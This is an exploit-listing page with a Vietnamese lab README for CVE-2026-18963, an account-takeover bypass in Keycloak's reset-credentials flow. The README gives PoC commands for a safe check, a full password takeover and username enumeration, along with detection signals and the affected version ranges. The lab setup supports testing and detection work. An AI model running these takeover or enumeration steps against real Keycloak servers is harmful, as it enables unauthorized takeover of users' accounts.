Sploitus

Exploit for CVE-2026-18963

githubexploit · 2026-08-25

Exploit Code

README181 lines
## https://sploitus.com/exploit?id=0444FA2C-2288-5ED7-A167-051F6F8C7688
# CVE-2026-18963 — Lab tái dựng lại

Keycloak reset-credentials bypass → unauthenticated account takeover  
**CVSS 9.1** | Ảnh hưởng: Keycloak 26.0.0 – 26.7.1

> Lab này tái dựng từ README gốc của `snizi/cve-2026-18963-exploit`  
> (repo đã bị xoá, content lưu tại Sploitus).

---

## Cấu trúc

```
cve-2026-18963-lab/
├── cve_2026_18963_poc.py   ← PoC script (Python 3.9+, stdlib only)
└── lab/
    ├── docker-compose.yml  ← Dựng môi trường lab
    ├── realm-poc.json      ← Keycloak realm config (import tự động)
    └── reset-victim.sh     ← Reset victim password sau mỗi lần exploit
```

---

## Yêu cầu

- Docker + Docker Compose
- Python 3.9+ (stdlib only, không cần cài thêm gì)

---

## Bước 1: Dựng lab

```bash
cd lab/
chmod +x reset-victim.sh
docker compose up -d
```

Chờ ~30-60 giây để Keycloak khởi động xong. Kiểm tra:

```bash
docker compose logs -f keycloak-vuln | grep "Running the server"
```

### Các service:

| Service     | URL                   | Version  | Tình trạng         |
|-------------|-----------------------|----------|--------------------|
| kc-vuln     | http://localhost:8080 | 26.7.1   | **VULNERABLE** ⚠️  |
| kc-patched  | http://localhost:8100 | 26.7.2   | Patched ✅          |
| Mailpit     | http://localhost:8025 | latest   | Bắt email          |

### Credentials mặc định:

- Keycloak admin: `admin` / `admin`
- Victim user: `victim` / `OriginalPassw0rd!`
- Realm: `poc` | Client: `poc-app`

---

## Bước 2: Chạy PoC

### Safe check (không cần username, không side effect):

```bash
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check
```

**Kết quả kỳ vọng trên kc-vuln:**  
`[!] VULNERABLE — email gate execution được serve`

**Kết quả kỳ vọng trên kc-patched (port 8100):**  
`[✓] PATCHED`

---

### Non-destructive proof (dừng ở Update Password form):

```bash
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check
```

> Side effects: email reset gửi tới victim (xem tại http://localhost:8025),  
> `emailVerified` bị set `true`.

---

### Full takeover:

```bash
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'
```

Sau khi chạy, verify bằng cách login vào http://localhost:8080/realms/poc/account  
với `victim` / `PoCPassw0rd!1`.

---

### Username enumeration:

```bash
echo -e "victim\nadmin\nnobody" > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt
```

---

## Bước 3: Reset victim về trạng thái ban đầu

```bash
# Target kc-vuln
cd lab/ && ./reset-victim.sh

# Target kc-patched
KC=http://localhost:8100 ./reset-victim.sh
```

---

## Teardown

```bash
cd lab/
docker compose down -v
```

---

## Detection signals

| Signal | Hợp lệ | Exploit |
|--------|---------|---------|
| `GET /login-actions/action-token?...` | ✅ Có | ❌ Không có |
| `POST .../reset-credentials` với body `tryAnotherWay=yes` | ❌ Không có | ✅ Có |
| `SEND_RESET_PASSWORD` → `UPDATE_PASSWORD` cùng `code_id` < 2 giây | Hiếm | ✅ Luôn có |
| `emailVerified` flip `true` không có `VERIFY_EMAIL` event | ❌ | ✅ Luôn có |

Xem trong Mailpit (http://localhost:8025): email reset password sẽ đến hộp thư victim  
nhưng **link trong đó chưa bao giờ được click** khi exploit thành công.

---

## Phiên bản bị ảnh hưởng

| Dòng release | Bị ảnh hưởng     | Fix                   |
|--------------|------------------|-----------------------|
| ≤ 17 (WildFly) | Không            | —                     |
| 26.0 – 26.3  | 26.0.0 – 26.x.x  | Không có (phải lên 26.7.2) |
| 26.4         | 26.4.0 – 26.4.14 | 26.4.15 (vendor backport) |
| 26.5         | 26.5.0 – 26.5.7  | Không có              |
| 26.6         | 26.6.0 – 26.6.5  | 26.6.6 (vendor backport) |
| 26.7         | 26.7.0 – 26.7.1  | **26.7.2** ✅          |

---

## References

- Sploitus (README gốc): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E  
- Keycloak issue: https://github.com/keycloak/keycloak/issues/51833  
- Fix PR: https://github.com/keycloak/keycloak/pull/51844  
- GHSA: GHSA-4gv3-mc9p-5wqc  
- Red Hat: https://access.redhat.com/security/cve/cve-2026-18963